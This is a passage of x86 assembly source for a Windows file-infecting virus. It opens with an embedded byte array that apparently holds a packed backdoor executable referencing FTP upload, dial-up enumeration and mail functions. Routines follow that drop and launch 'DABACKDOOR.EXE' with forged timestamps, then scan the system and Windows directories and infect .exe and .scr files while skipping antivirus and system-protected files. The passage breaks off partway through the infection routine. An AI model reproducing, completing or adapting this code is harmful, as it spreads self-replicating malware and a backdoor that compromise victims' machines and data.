  db 35,35,35,99,5,8,4,168,176,35,35,35,35,180,184,188
  db 192,35,35,35,35,196,200,204,208,35,35,35,35,212,216,220
  db 224,141,40,178,42,6,146,64,64,149,2,127,249,143,160,84
  db 83,95,115,101,114,118,0,97,98,101,102,104,86,48,57,9
  db 246,154,2,61,165,104,41,8,51,103,131,84,180,223,109,39
  db 83,45,105,99,101,80,114,111,4,190,123,114,187,204,13,10
  db 1,45,45,32,83,17,105,111,110,32,84,246,134,253,223,35
  db 109,105,110,233,101,44,32,37,115,32,29,41,14,96,109,236
  db 189,18,3,56,42,0,14,219,23,246,220,32,10,17,79,78
  db 111,117,153,108,255,15,44,217,108,101,88,75,115,109,116,112
  db 46,119,97,110,97,100,255,255,127,251,111,111,46,102,114,224
  db 104,97,99,107,64,114,101,112,111,114,116,46,99,111,109,0
  db 115,97,100,100,97,109,55,160,111,229,46,104,117,140,55,64
  db 99,97,14,97,105,255,251,239,177,108,27,45,42,61,1,60
  db 32,82,97,112,48,32,73,80,32,62,61,97,219,186,103,20
  db 45,0,97,33,17,112,152,85,27,110,119,119,155,96,109,200
  db 68,97,116,5,72,101,117,96,32,33,91,1,131,197,129,199
  db 46,112,0,33,43,120,5,137,112,43,43,120,5,99,125,35
  db 27,97,5,177,0,238,2,177,109,36,83,188,116,96,110,80
  db 32,65,248,183,119,53,103,101,0,112,213,112,105,0,69,110
  db 117,109,129,175,125,131,112,55,41,77,111,100,117,31,89,152
  db 193,64,184,78,174,162,83,0,13,191,181,15,60,37,100,32
  db 46,194,116,40,115,41,62,102,83,237,25,196,134,121,203,109
  db 92,70,67,111,3,131,176,64,108,77,108,231,92,222,115,157
  db 69,184,189,92,191,34,65,99,229,12,32,11,134,6,209,39
  db 110,111,137,108,116,222,218,237,11,125,58,47,47,119,0,46
  db 109,47,60,115,111,102,119,134,141,19,117,72,45,79,23,99
  db 77,65,73,26,196,235,254,76,32,70,82,79,77,58,126,115
  db 117,145,108,219,100,23,105,116,111,15,70,55,109,12,34,247
  db 207,13,182,34,17,84,27,59,83,117,98,106,104,64,83,96
  db 51,12,40,0,115,99,188,115,13,6,113,117,105,116,74,46
  db 5,0,98,99,195,13,51,5,121,73,116,238,172,253,37,69
  db 32,118,55,46,48,32,52,221,32,182,208,248,111,133,112,56
  db 223,100,46,32,91,39,63,39,32,16,113,91,130,190,22,32
  db 97,102,102,236,101,8,108,39,89,251,96,188,52,100,101,93
  db 157,36,73,78,70,223,0,176,49,200,187,13,77,83,71,32
  db 34,245,120,55,18,113,193,35,135,32,109,59,34,31,214,188
  db 57,123,68,73,82,33,6,87,76,73,83,84,87,67,83,59
  db 228,221,76,59,67,86,82,84,67,105,49,154,169,235,54,107
  db 111,156,97,144,110,145,169,117,103,173,208,124,156,12,26,99
  db 148,116,46,128,193,254,82,83,82,86,76,54,91,235,215,209
  db 74,75,20,87,158,4,121,93,16,135,157,117,55,50,45,115
  db 12,93,40,83,95,78,57,59,225,107,226,153,115,221,34,29
  db 75,133,43,100,34,68,75,216,55,236,251,97,130,34,80,73
  db 68,18,67,46,18,59,214,186,13,45,112,189,111,190,44,77
  db 75,253,167,144,19,152,25,82,77,69,78,40,67,195,100,77
  db 70,134,105,135,215,219,48,53,201,95,168,34,145,23,37,255
  db 102,91,97,146,102,26,127,70,73,78,68,107,148,219,118,32
  db 2,102,182,101,110,253,46,132,133,195,118,42,65,182,34,107
  db 208,110,157,55,155,178,198,171,102,100,101,30,61,97,32,249
  db 69,88,69,67,72,205,79,80,150,126,11,236,172,37,117,34
  db 42,16,71,165,135,176,199,162,80,85,84,40,32,40,70,190
  db 203,66,119,227,108,32,80,191,104,41,161,110,113,46,46,11
  db 86,231,58,112,16,117,135,10,251,183,181,177,112,97,92,119
  db 177,100,81,65,87,69,66,6,240,67,254,241,69,77,79,87
  db 83,68,76,85,114,108,47,97,101,29,131,29,46,150,34,154
  db 228,206,16,13,249,75,69,89,192,94,194,210,108,183,91,1
  db 48,93,3,49,42,93,216,187,91,70,35,193,239,202,79,70
  db 70,50,109,187,21,56,49,60,126,79,79,211,50,184,109,91
  db 250,182,79,137,82,24,51,96,72,229,68,14,195,9,179,11
  db 18,52,32,44,73,73,42,109,105,107,39,141,200,236,99,167
  db 117,134,29,0,205,192,111,32,184,143,79,0,212,84,12,96
  db 23,99,80,100,117,166,82,193,113,205,207,156,154,36,22,182
  db 55,45,228,93,17,118,111,121,101,14,97,26,99,107,144,158
  db 54,147,117,193,46,155,69,204,173,125,166,147,185,178,37,105
  db 72,38,10,89,194,182,108,13,114,64,44,14,139,85,218,4
  db 102,108,210,96,110,76,206,84,234,10,118,77,243,94,254,0
  db 23,129,214,95,7,45,8,194,194,217,37,179,57,120,65,67
  db 163,109,71,131,215,172,185,36,18,45,108,187,104,232,58,16
  db 38,101,117,108,63,131,7,219,86,216,206,47,82,41,185,223
  db 221,181,10,3,38,162,79,87,101,98,54,97,111,169,4,85
  db 115,12,34,76,87,182,118,7,198,102,247,101,203,106,97,159
  db 76,6,214,40,208,217,108,1,90,246,234,224,194,205,116,225
  db 108,133,63,60,216,26,72,217,112,164,109,229,113,107,237,51
  db 247,166,85,157,176,67,122,32,104,39,196,154,146,238,50,121
  db 47,118,26,70,74,31,56,111,67,109,173,64,181,243,75,220
  db 101,114,172,64,181,35,82,117,110,29,75,83,224,202,67,8
  db 24,101,203,185,88,99,39,203,58,23,91,96,240,91,248,92
  db 161,26,166,86,0,124,11,124,7,54,193,65,225,67,191,226
  db 200,32,201,224,19,24,138,42,46,42,227,2,6,9,123,7
  db 0,237,51,95,55,232,42,73,137,71,69,172,32,60,163,115
  db 13,221,47,60,109,62,39,30,37,101,248,184,27,227,0,135
  db 62,9,66,89,69,168,16,193,5,193,61,50,71,70,73,73
  db 137,194,217,214,119,233,83,84,133,238,64,18,94,87,91,116
  db 155,170,112,48,185,152,166,24,183,135,131,137,66,169,14,174
  db 24,97,3,40,24,160,71,46,32,220,245,9,17,78,246,69
  db 10,78,84,241,4,19,90,132,134,51,117,73,54,125,214,76
  db 1,107,170,26,246,47,25,235,28,179,7,79,83,8,47,238
  db 117,165,23,115,152,222,41,227,242,12,42,109,173,49,178,33
  db 112,182,30,108,16,152,193,236,10,27,125,228,44,101,141,222
  db 94,22,26,228,9,5,115,49,239,27,13,152,57,22,168,88
  db 97,113,18,231,46,227,18,122,115,115,115,28,226,22,75,194
  db 132,175,219,48,251,251,94,204,34,116,186,71,68,189,225,98
  db 111,97,112,237,121,13,53,18,182,138,174,100,150,204,101,43
  db 83,135,197,173,183,87,84,87,65,126,92,77,123,92,59,44
  db 102,64,138,210,86,48,172,209,226,81,49,198,161,45,22,130
  db 111,3,19,67,77,0,28,123,31,105,154,166,233,3,37,43
  db 48,52,58,81,104,71,166,62,245,103,117,167,214,106,100,162
  db 30,130,90,162,215,116,43,108,232,112,0,117,0,119,130,17
  db 0,109,70,47,90,51,5,166,94,36,79,140,204,32,92,70
  db 37,76,81,140,209,123,4,81,204,89,80,122,232,33,8,194
  db 170,99,82,120,193,200,241,248,126,105,37,224,94,132,8,134
  db 76,129,148,5,90,218,66,133,246,80,104,36,34,247,98,37
  db 115,212,68,16,154,242,98,243,19,216,178,71,3,176,50,104
  db 204,65,227,108,13,68,70,248,11,18,224,117,214,132,42,115
  db 233,64,33,132,160,231,0,170,146,21,2,168,64,134,0,5
  db 80,129,132,10,160,2,25,20,64,5,50,40,128,10,100,81
  db 0,21,200,163,0,42,144,70,1,84,32,153,0,8,194,3
  db 252,40,0,208,178,64,64,1,252,0,208,37,170,242,111,114
  db 176,130,168,109,73,101,13,62,239,30,246,217,9,109,112,105
  db 10,97,116,9,87,114,105,116,138,237,1,64,109,10,86,17
  db 185,239,160,76,97,108,70,114,101,12,43,84,197,3,5,72
  db 22,25,182,214,189,246,67,111,64,35,47,67,29,55,101,130
  db 45,43,136,173,17,63,89,119,194,30,84,104,6,100,13,111
  db 111,108,104,101,100,219,246,255,108,112,51,50,83,110,97,112
  db 115,104,111,116,25,68,15,101,52,155,4,64,237,69,120,131
  db 3,12,4,34,26,54,63,142,46,4,34,154,1,141,1,191
  db 9,129,136,139,1,180,76,105,170,162,109,237,98,114,97,146
  db 12,71,90,209,236,109,19,211,18,110,29,16,7,170,40,81
  db 81,82,43,129,136,102,17,120,123,221,178,101,21,142,18,68
  db 222,32,8,68,20,97,109,47,219,120,236,223,75,14,129,83
  db 105,122,101,12,76,97,115,8,129,136,78,124,0,245,54,146
  db 0,232,1,228,19,255,102,19,6,114,17,132,65,100,100,114
  db 21,133,194,97,136,83,58,161,194,190,204,85,89,52,84,105
  db 109,155,21,38,81,69,44,68,216,36,170,152,14,74,227,222
  db 132,66,27,147,89,41,13,201,182,67,216,116,118,133,79,208
  db 110,246,176,8,133,96,8,178,115,15,51,202,237,16,115,68
  db 82,101,52,3,139,16,64,28,96,220,30,9,132,83,90,148
  db 139,79,102,21,2,40,97,106,53,162,138,95,172,86,27,22
  db 80,111,0,106,55,119,56,15,11,101,112,6,70,48,67,140
  db 123,124,124,227,68,21,179,231,9,1,0,171,98,251,218,182
  db 247,97,29,103,36,93,116,206,116,235,190,179,168,89,65,148
  db 103,83,86,96,172,181,239,112,117,101,9,15,81,10,135,17
  db 35,217,103,36,156,75,101,121,16,105,23,150,205,220,15,94
  db 77,130,106,117,16,64,55,10,3,197,107,101,16,75,8,147
  db 189,115,47,27,66,44,201,237,90,35,117,112,109,135,16,64
  db 201,120,85,115,121,143,130,27,204,240,91,115,182,6,18,160
  db 83,176,73,14,22,111,216,91,118,8,197,15,153,13,90,179
  db 48,35,32,11,22,4,58,69,21,174,225,185,114,97,20,64
  db 91,225,98,112,114,80,4,208,115,207,28,83,23,107,79,179
  db 181,36,233,20,53,35,16,83,202,214,109,143,72,80,194,99
  db 50,70,106,100,86,104,58,60,88,74,170,108,18,24,40,210
  db 117,166,45,40,47,102,28,84,21,179,2,53,120,17,209,225
  db 199,50,108,220,44,34,90,86,105,112,166,107,63,222,193,8
  db 66,111,29,103,73,99,117,10,104,31,118,4,18,115,111,170
  db 75,105,94,198,66,192,248,181,114,160,233,120,191,44,155,49
  db 108,75,48,38,205,218,66,115,226,126,17,117,44,48,189,130
  db 240,38,170,137,85,14,224,102,193,154,26,79,12,168,98,51
  db 4,155,113,14,105,196,112,22,150,25,170,244,104,123,102,102
  db 201,58,204,29,204,194,18,225,22,46,196,231,221,65,115,38
  db 105,8,39,115,93,85,41,108,28,241,85,112,220,58,150,189
  db 100,43,147,62,98,237,114,100,134,77,155,59,217,31,113,112
  db 245,116,102,72,140,170,120,154,58,120,73,29,100,151,13,194
  db 152,65,17,71,20,216,199,178,217,101,64,26,108,65,14,96
  db 45,0,90,24,17,4,146,45,41,145,95,193,163,42,146,13
  db 20,255,216,120,88,134,18,57,116,177,117,140,118,55,18,85
  db 91,67,97,99,43,85,75,96,75,96,65,125,24,104,158,102
  db 27,22,24,232,70,168,109,44,71,17,21,52,127,248,101,219
  db 116,221,16,80,24,176,255,116,2,115,150,101,89,150,1,2
  db 3,4,52,9,90,150,101,89,11,13,16,19,23,249,39,167
  db 40,134,3,0,143,87,26,64,189,150,231,50,15,1,62,136
  db 18,102,144,82,20,134,80,201,144,71,200,64,0,224,1,228
  db 7,169,2,222,232,81,0,0,180,162,104,23,32,167,232,1
  db 147,131,164,144,134,214,60,162,40,128,148,62,81,52,216,147
  db 94,224,11,251,12,7,36,33,75,94,66,224,123,79,73,211
  db 117,116,96,39,14,78,192,0,208,0,0,95,110,31,132,84
  db 213,214,1,0,4,0,0,0,0,0,0,128,255,0,0,0
  db 96,190,0,208,65,0,141,190,0,64,254,255,87,131,205,255
  db 235,16,144,144,144,144,144,144,138,6,70,136,7,71,1,219
  db 117,7,139,30,131,238,252,17,219,114,237,184,1,0,0,0
  db 1,219,117,7,139,30,131,238,252,17,219,17,192,1,219,115
  db 239,117,9,139,30,131,238,252,17,219,115,228,49,201,131,232
  db 3,114,13,193,224,8,138,6,70,131,240,255,116,116,137,197
  db 1,219,117,7,139,30,131,238,252,17,219,17,201,1,219,117
  db 7,139,30,131,238,252,17,219,17,201,117,32,65,1,219,117
  db 7,139,30,131,238,252,17,219,17,201,1,219,115,239,117,9
  db 139,30,131,238,252,17,219,115,228,131,193,2,129,253,0,243
  db 255,255,131,209,1,141,20,47,131,253,252,118,15,138,2,66
  db 136,7,71,73,117,247,233,99,255,255,255,144,139,2,131,194
  db 4,137,7,131,199,4,131,233,4,119,241,1,207,233,76,255
  db 255,255,94,137,247,185,232,1,0,0,138,7,71,44,232,60
  db 1,119,247,128,63,1,117,242,139,7,138,95,4,102,193,232
  db 8,193,192,16,134,196,41,248,128,235,232,1,240,137,7,131
  db 199,5,137,216,226,217,141,190,0,208,1,0,139,7,9,192
  db 116,69,139,95,4,141,132,48,0,240,1,0,1,243,80,131
  db 199,8,255,150,180,240,1,0,149,138,7,71,8,192,116,220
  db 137,249,121,7,15,183,7,71,80,71,185,87,72,242,174,85
  db 255,150,184,240,1,0,9,192,116,7,137,3,131,195,4,235
  db 216,255,150,188,240,1,0,97,233,115,28,254,255,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,252,0,2,0
  db 180,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 9,1,2,0,196,0,2,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,22,1,2,0,204,0,2,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,35,1,2,0,212,0,2,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,47,1,2,0
  db 220,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 58,1,2,0,228,0,2,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,70,1,2,0,236,0,2,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,80,1,2,0,244,0,2,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,92,1,2,0,106,1,2,0,122,1,2,0
  db 0,0,0,0,136,1,2,0,0,0,0,0,150,1,2,0
  db 0,0,0,0,172,1,2,0,0,0,0,0,188,1,2,0
  db 0,0,0,0,198,1,2,0,0,0,0,0,212,1,2,0
  db 0,0,0,0,23,0,0,128,0,0,0,0,75,69,82,78
  db 69,76,51,50,46,68,76,76,0,65,68,86,65,80,73,51
  db 50,46,100,108,108,0,82,65,83,65,80,73,51,50,46,100
  db 108,108,0,83,72,69,76,76,51,50,46,100,108,108,0,85
  db 83,69,82,51,50,46,100,108,108,0,87,73,78,73,78,69
  db 84,46,100,108,108,0,87,73,78,77,77,46,100,108,108,0
  db 87,83,79,67,75,51,50,46,100,108,108,0,0,0,76,111
  db 97,100,76,105,98,114,97,114,121,65,0,0,71,101,116,80
  db 114,111,99,65,100,100,114,101,115,115,0,0,69,120,105,116
  db 80,114,111,99,101,115,115,0,0,0,82,101,103,67,108,111
  db 115,101,75,101,121,0,0,0,82,97,115,69,110,117,109,67
  db 111,110,110,101,99,116,105,111,110,115,65,0,0,0,83,104
  db 101,108,108,69,120,101,99,117,116,101,65,0,0,0,84,111
  db 65,115,99,105,105,0,0,0,70,116,112,80,117,116,70,105
  db 108,101,65,0,0,0,109,99,105,83,101,110,100,83,116,114
  db 105,110,103,65,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

 


BackdoorEnd dd 0

Backdoor  db "DABACKDOOR.EXE",0

    Drop_BackDoor   proc
           
           sub      esp, 280
           mov      ebx, esp
           
           push     ebx
           push     255
           lea      eax, dword ptr [ebp + szGetTempPathA]
           Call     K32Api
           sub      esp, 280
           
           mov      esi, ebx
           mov      edi, esp
           @@:
           lodsb
           stosb
           test     al, al
           jnz      @B
           dec      edi
           
           .IF      byte ptr [edi-1] != '\'
                    mov  byte ptr [edi], '\'
                    inc  edi
           .ENDIF
           lea      esi, dword ptr [ebp + Backdoor]

           @@:
           lodsb
           stosb
           test     al, al
           jnz      @B


           
           mov      esi, esp
           mov      edi, ebx
           
           push   0
           push   FILE_ATTRIBUTE_NORMAL	
           push   CREATE_ALWAYS
           push   0
           push   0
           push   GENERIC_WRITE
           push   esi
           lea    eax,[ebp+szCreateFileA]
           Call   K32Api
           
           .IF    eax != INVALID_HANDLE_VALUE                   ; Error : file already exist
           
           mov    ebx, eax

           push   0
           lea    eax, dword ptr [ebp + BackdoorEnd] ; <- Written
           push   eax
           push   (OFFSET BackdoorEnd - OFFSET BackdoorStart)
           lea    eax, dword ptr [ebp + BackdoorStart]
           push   eax
           push   ebx
           lea    eax, dword ptr [ebp + szWriteFile]
           Call   K32Api

           lea    eax,dword ptr [ebp + InfectionTime]
           push   eax
           push   eax
           push   eax
           push   ebx             
           lea    eax, dword ptr [ebp + szSetFileTime]
           Call   K32Api

            
           push   ebx
           lea    eax,[ebp+szCloseHandle]
           Call   K32Api   
              
           .ENDIF

           sub    esp, SIZEOF STARTUPINFO  + 40        
           mov    ebx, esp
           push   ebx
           lea    eax, dword ptr [ebp + szGetStartupInfoA]
           Call   K32Api
           
           sub    esp, SIZEOF PROCESS_INFORMATION + 40
           mov    edx, esp
           
           push   edx
           
           xor    eax,eax
           push   edx
           push   ebx
           push   edi
           push   eax
           push   NORMAL_PRIORITY_CLASS
           push   eax
           push   eax
           push   eax
           push   eax
           push   esi
           lea    eax, dword ptr [ebp + szCreateProcessA]
           Call   K32Api

           pop    ebx
      

           push   [ebx+4]
           lea    eax, dword ptr [ebp + szCloseHandle]
           Call   K32Api 

           add      esp, (280 * 2 + SIZEOF PROCESS_INFORMATION + 40 + SIZEOF STARTUPINFO  + 40)    

           ret
    Drop_BackDoor   endp

    GetK32          proc

    

           
           lea     eax,[ErrKernl+ebp]
           push    eax        


           mov     dword ptr [ebp + @StackPtr], esp
           
           xor     edx,edx                         
           push    dword ptr fs:[edx]            
           mov     dword ptr fs:[edx],esp
           

            push    5       ; Scan 5 Pages
            pop     ecx       
            
    _@1:    cmp     word ptr [esi],"ZM"
            jz      WeGotK32
    _@2:    sub     esi,10000h
            dec     ecx
            jnz    _@1
    WeFailed:



            xor     esi,esi
    WeGotK32:
            xchg    eax,esi
            jmp     K32Ok
    ErrKernl:
            xor     eax, eax
        K32Ok:
            DB      0BCh
            @StackPtr   dd      00000000h
            xor     edx,edx    
            pop     dword ptr fs:[edx]
            
            
           db      0BDh
           @@@Delta dd 00000000h

            ret


                     
    GetK32          endp




    GetGetProcAddressAddress proc
            and      dword ptr [ebp + ApiCounter],0
            mov      edi,dword ptr [eax+3Ch]          ;PE hdr
            add      edi,eax
            assume edi:ptr IMAGE_NT_HEADERS  
            mov     edi,[edi].OptionalHeader.DataDirectory.VirtualAddress 
            add     edi,eax
            assume edi:ptr IMAGE_EXPORT_DIRECTORY
            mov     ecx,[edi].NumberOfNames
            mov     esi,[edi].AddressOfNames
            
            
            add     esi,eax
            xchg    eax,ebx
           MatchLp:

            lodsd
            add     eax,ebx

            push    ecx
            push    edi
            push    esi

            push    GPASIZE
            pop     ecx
            lea     edi,[ebp+szGetProcAddress]
            mov     esi,eax
            repz    cmpsb

            pop     esi
            pop     edi
            
            or      ecx,ecx
            jz      GPA_found
            
            inc     dword ptr [ebp + ApiCounter]
            
            pop     ecx
            dec     ecx
            jnz     MatchLp
            
            mov     dword ptr [ebp + _GetProcAddress], 0bff76dach      ; Not found. hardcode it ( Win95/98 )
            ret
            
           GPA_found:
             
            mov     esi,[edi].AddressOfNameOrdinals          
            pop     ecx
            
            
            mov     ecx,dword ptr [ebp + ApiCounter]
            shl     ecx,1
            add     esi,ecx 
            add     esi,ebx
            xor     eax,eax
            lodsw   
            shl     eax,2

            add     eax,[edi].AddressOfFunctions
            mov     esi,eax
            add     esi,ebx
            lodsd
            add     eax,ebx

            assume edi :nothing 
            mov     dword ptr [ebp + _GetProcAddress],eax
       
            ret
    GetGetProcAddressAddress endp

    infect_newsystem    proc



            lea         ebx, dword ptr [ebp + szGetSystemDirectoryA]
            xor         ecx, ecx
            inc         ecx
           @@:
            push        ecx
            sub         esp, 300
            mov         esi, esp
            push        0FFh                       ; Dir size
            push        esi                        ; buffer
            mov         eax, ebx
            Call        K32Api
            mov         eax, esi
            call        _strlen
            mov         ecx, esi
            add         ecx, eax
            mov         dword ptr [ecx], '*.*\'
            mov         byte ptr  [ecx + 4], 0

            mov         eax, esi
            Call        InfectDir
            add         esp, 300
            lea         ebx, dword ptr [ebp + szGetWindowsDirectoryA]
            pop         ecx
            dec         ecx
            jns         @B
            ret
    infect_newsystem    endp

    InfectDir Proc




            
            sub     esp, (SIZEOF (WIN32_FIND_DATA) + 400)
            
            mov     ebx, esp
            push    ebx
            push    eax                         ; DirPath
            lea     eax, dword ptr [ebp+szFindFirstFileA]
            CAll    K32Api
            inc     eax
            jz      SHIT                                    ; Fucking ERR_NOACCESS under XP!
            dec     eax
            mov     dword ptr [ebp + hFind], eax

            mov     edi, esp
            add     edi, (SIZEOF (WIN32_FIND_DATA) + 4)
            push    edi
           @@:
            lodsb
            cmp     al, '*'
            jz     @F
            stosb
            jmp     @B
           @@:
            xor     al, al
            stosb
            pop     esi


            and     byte ptr [ebp+InfectionCtr],0
           
          FindLp:
            assume  ebx:ptr WIN32_FIND_DATA
            
            lea     eax, dword ptr [[ebx].cFileName]
            
            push    eax
            mov     edi,eax
            xor     ecx,ecx
            dec     ecx
            xor     al,al                               ; last byte 0
            repnz   scasb
            pop     eax
            or      dword ptr [edi-5],20202020h
            .IF     dword ptr [edi-5] != 'exe.' && dword ptr [edi-5] != 'rcs.'
            
                    jnz     skipfile
                    
            .ENDIF


            
            mov     ecx,dword ptr [[ebx].nFileSizeHigh] ; skip large file
            test    ecx,ecx
            jnz     skipfile



            
            push     esi
            push     eax
            mov      eax, esi
            call     _strlen
            mov      ecx, esi
            add      ecx, eax
            mov      edx, ecx
            mov      edi, ecx
            pop      esi

           @@:
            lodsb
            stosb
            or       al,al
            jnz      @b
            pop      esi

            ;push        edx
            ;xor         ecx, ecx
            ;push        ecx
            ;push        esi
            ;push        esi
            ;push        ecx
            ;lea         eax, dword ptr [ebp + szMessageBoxA]
            ;Call        U32Api
            ;pop         edx
            
            mov      eax, esi
            pushad
            Call   IsFileAV?
            dec    eax
            popad
            jz    @F                                    ; IS it an AV file ?
            Call    infect                              ; All criterias Ok? infect !!!
           @@:
            ;;----
            ;inc         byte ptr [ebp + InfectionCtr]

            ;---
            and        byte ptr [edx], 0
          skipfile:


            push    ebx
            push    dword ptr [ebp + hFind]
            lea     eax, dword ptr [ebp + szFindNextFileA]
            CAll    K32Api
            cmp     byte ptr [ebp + InfectionCtr], 7 ; infect 7 files in dir
            jae     ExitFind                                     

            test    eax,eax
            jnz     FindLp
            
          ExitFind:
            push    dword ptr [ebp+hFind]
            lea     eax,[ebp+szFindClose]           ; Close Search handle
            CAll    K32Api
           SHIT:
            add     esp, (SIZEOF (WIN32_FIND_DATA) + 400)
            ret
    InfectDir endp


    
    infect  proc

            pushad



            mov    dword ptr [ebp + pFileName],eax 


            xor    esi,esi   
            and    byte ptr [ebp + _SizeTestFailed], 0                        ; Init Ok

            sub    esp, 1100
            mov    ebx, esp
            
            cmp    dword ptr [ebp + hSFC], 0                 ; Not W2k/Xp
            jz     Infect2nd       


            
            push   1024
            push   ebx
            push   -1
            push   eax
            push   esi
            push   esi
            lea    eax, dword ptr [ebp + szMultiByteToWideChar]
            Call   K32Api
            
            lea    eax, dword ptr [ebp + szSfcIsFileProtected]
            push   eax
            push   dword ptr [ebp + hSFC]
            Call   dword ptr [ebp + _GetProcAddress] 

            or     eax, eax                             ; Api not found ?
            jz     Infect2nd

            cmp    byte ptr [eax], 0CCh
            jz     ZeroShit


            push   ebx                              ; 
            push   esi                              ; 0
            Call   eax                              ; Call SfcIsFileProtected
     
            or     eax, eax
            jz     Infect2nd
            add    esp, 1100
            popad
            ret                                     ; It's Protected !

      Infect2nd:
            add    esp, 1100
            
            and    dword ptr [ebp + Patched?],0     ; init error
            
            xor    esi,esi  

            push   esi
            push   esi
            push   esi
            push   esi
            lea    eax, dword ptr [ebp + szCreateEventA]
            Call   K32Api
            mov    dword ptr [ebp + InfEvent], eax

            mov    dword ptr [ebp + ThreadDelta], ebp
            
            lea    eax, dword ptr [ebp + CheckInfectionTimeOutThreadID]
            push   eax
            push   esi
            push   esi
            lea    eax, dword ptr [ebp + CheckInfectionTimeOutThread]
            push   eax
            push   esi
            push   esi
            lea    eax, dword ptr [ebp + szCreateThread]
            Call   K32Api
      
            push   eax
            lea    eax, dword ptr [ebp + szCloseHandle]
            Call   K32Api 



            push   dword ptr [ebp + pFileName]
            lea    eax, dword ptr [ebp + szGetFileAttributesA]      ; Save Original attribs
            Call   K32Api
            mov    dword ptr [ebp + OriginalAttributes],eax

 
            push   FILE_ATTRIBUTE_NORMAL                            ; Reset attributes
            push   dword ptr [ebp + pFileName]
            lea    eax, dword ptr [ebp + szSetFileAttributesA]
            
            Call   K32Api



            push   esi
            push   FILE_ATTRIBUTE_NORMAL	
            push   OPEN_EXISTING
            push   esi
            push   FILE_SHARE_READ or FILE_SHARE_WRITE
            push   GENERIC_READ	or GENERIC_WRITE
            push   dword ptr [ebp + pFileName]
            lea    eax,[ebp+szCreateFileA]
            Call   K32Api

            inc   eax
            jz    ErrOpen
		dec	 eax
            mov    dword ptr [ebp+hFile],eax


            lea    eax,dword ptr [ebp + LastWriteTime]
            push   eax
            lea    eax,dword ptr [ebp + LastAccessTime]
            push   eax
            lea    eax,dword ptr [ebp + CreationTime]
            push   eax
            push   dword ptr [ebp+hFile]               
            lea    eax, dword ptr [ebp + szGetFileTime]
            Call   K32Api

                     
            push   esi
            push   esi
            push   esi
            push   PAGE_READWRITE	
            push   esi
            push   dword ptr [ebp+hFile]
            lea    eax,[ebp+szCreateFileMappingA]
            call   K32Api


            
		or	eax,eax
            jz    ErrMap1

            mov    dword ptr [ebp +hMap],eax
            
            push   esi
            push   esi
            push   esi
            push   FILE_MAP_ALL_ACCESS
            push   dword ptr [ebp+hMap]
            lea    eax,[ebp+szMapViewOfFile]
            call   K32Api

            test   eax,eax
            jz     ErrMap2
            
            mov    dword ptr [ebp +pMap],eax

            cmp    word ptr [eax],IMAGE_DOS_SIGNATURE       
            jnz    ErrInf


     mov     dword ptr [ebp + _Inf_ESP], esp
     mov     dword ptr [ebp + _Inf_EBP], ebp
     ;mov     dword ptr [ebp + _Inf_ESP2], esp
     ;mov     dword ptr [ebp + _Inf_EBP2], ebp
     ;mov     dword ptr [ebp + _Inf_ESP3], esp
     ;mov     dword ptr [ebp + _Inf_EBP3], ebp
     

             
     lea     ecx,[ebp + inf_main_handler]
     push    ecx        
      
     xor     edx,edx                         
     push    dword ptr fs:[edx]            
     mov     dword ptr fs:[edx],esp



            mov    edi,[eax+3ch]
            add    edi,eax
            cmp    dword ptr [edi],IMAGE_NT_SIGNATURE             
            jnz    ErrInf




            assume edi: ptr IMAGE_NT_HEADERS
            mov    ecx,[edi].OptionalHeader.FileAlignment
            mov    dword ptr [ebp + FAlignment], ecx


            movzx esi, word ptr [edi].FileHeader.SizeOfOptionalHeader
            lea esi, [[edi].OptionalHeader + esi]           ; esi pointe sur le premier IMAGE_SECTION_HEADER
            

            movzx eax, word ptr [[edi].FileHeader.NumberOfSections]
            dec   eax
            imul  eax,eax,sizeof IMAGE_SECTION_HEADER

            add   esi,eax  ; esi pointe sur le dernier IMAGE_SECTION_HEADER 

            
            xor    eax,eax
            push   eax
            push   dword ptr [ebp + hFile]
            lea    eax, dword ptr [ebp+szGetFileSize]
            call   K32Api
            mov    dword ptr [ebp + OldSize],eax
            
            cmp    eax,MINIMUM_FILE_SIZE                ; Avoid Small Files
            jb     ErrInf

            cmp    eax,MAXIMUM_FILE_SIZE                ; Avoid Big Files
            ja     ErrInf
            
            assume esi:ptr IMAGE_SECTION_HEADER
            mov    ecx,eax      			
            mov    edx,[esi].PointerToRawData
            
            ;.IF    byte ptr [ebp + _SizeTestFailed]  != 0
            ;       push   eax

            ;.ELSE
                   .IF    dword ptr [esi].Misc.VirtualSize != 0     ; 
                        push   dword ptr [esi].Misc.VirtualSize 
                   .ELSE
                        ;xor     eax, eax
                        ;mov     [eax], eax
                        push   dword ptr [esi].SizeOfRawData;
                   .ENDIF
            ;.ENDIF
            
            pop    dword ptr [ebp + SizeRelative]
            add    edx, dword ptr [ebp + SizeRelative] 
            sub    ecx,edx				
            sub    eax,ecx
            

            
            mov    dword ptr [ebp + Size2Align],eax     ; offset where to start virus
   

            
            mov    ecx,ZipSignLen
            lea    edi,[ebp + ZipSign]   
            repz   cmpsb

           
            test   ecx,ecx
            jz     ErrInf                       ; test for winzip self extractor
                    

            Call   UnMap


            





            mov    eax,dword ptr [ebp + Size2Align]
            mov    ecx,dword ptr [ebp + FAlignment]
            add    eax,MAX_POLY_SIZE                            


            call    _Align
            xchg    ecx,eax                 ;New File Size = Old File Size + VirusSize
            

            .IF     ecx <  dword ptr [ebp + OldSize]         ; would it cut file ?
                    ;inc   byte ptr [ebp + _SizeTestFailed]  ; security


                    xor     edx,edx    
                    pop     dword ptr fs:[edx]
                    add     esp, 4
                     ;db 0BCh
                     ;_Inf_ESP2 dd 0 
                     ;db 0BDh
                     ;_Inf_EBP2 dd 0

     
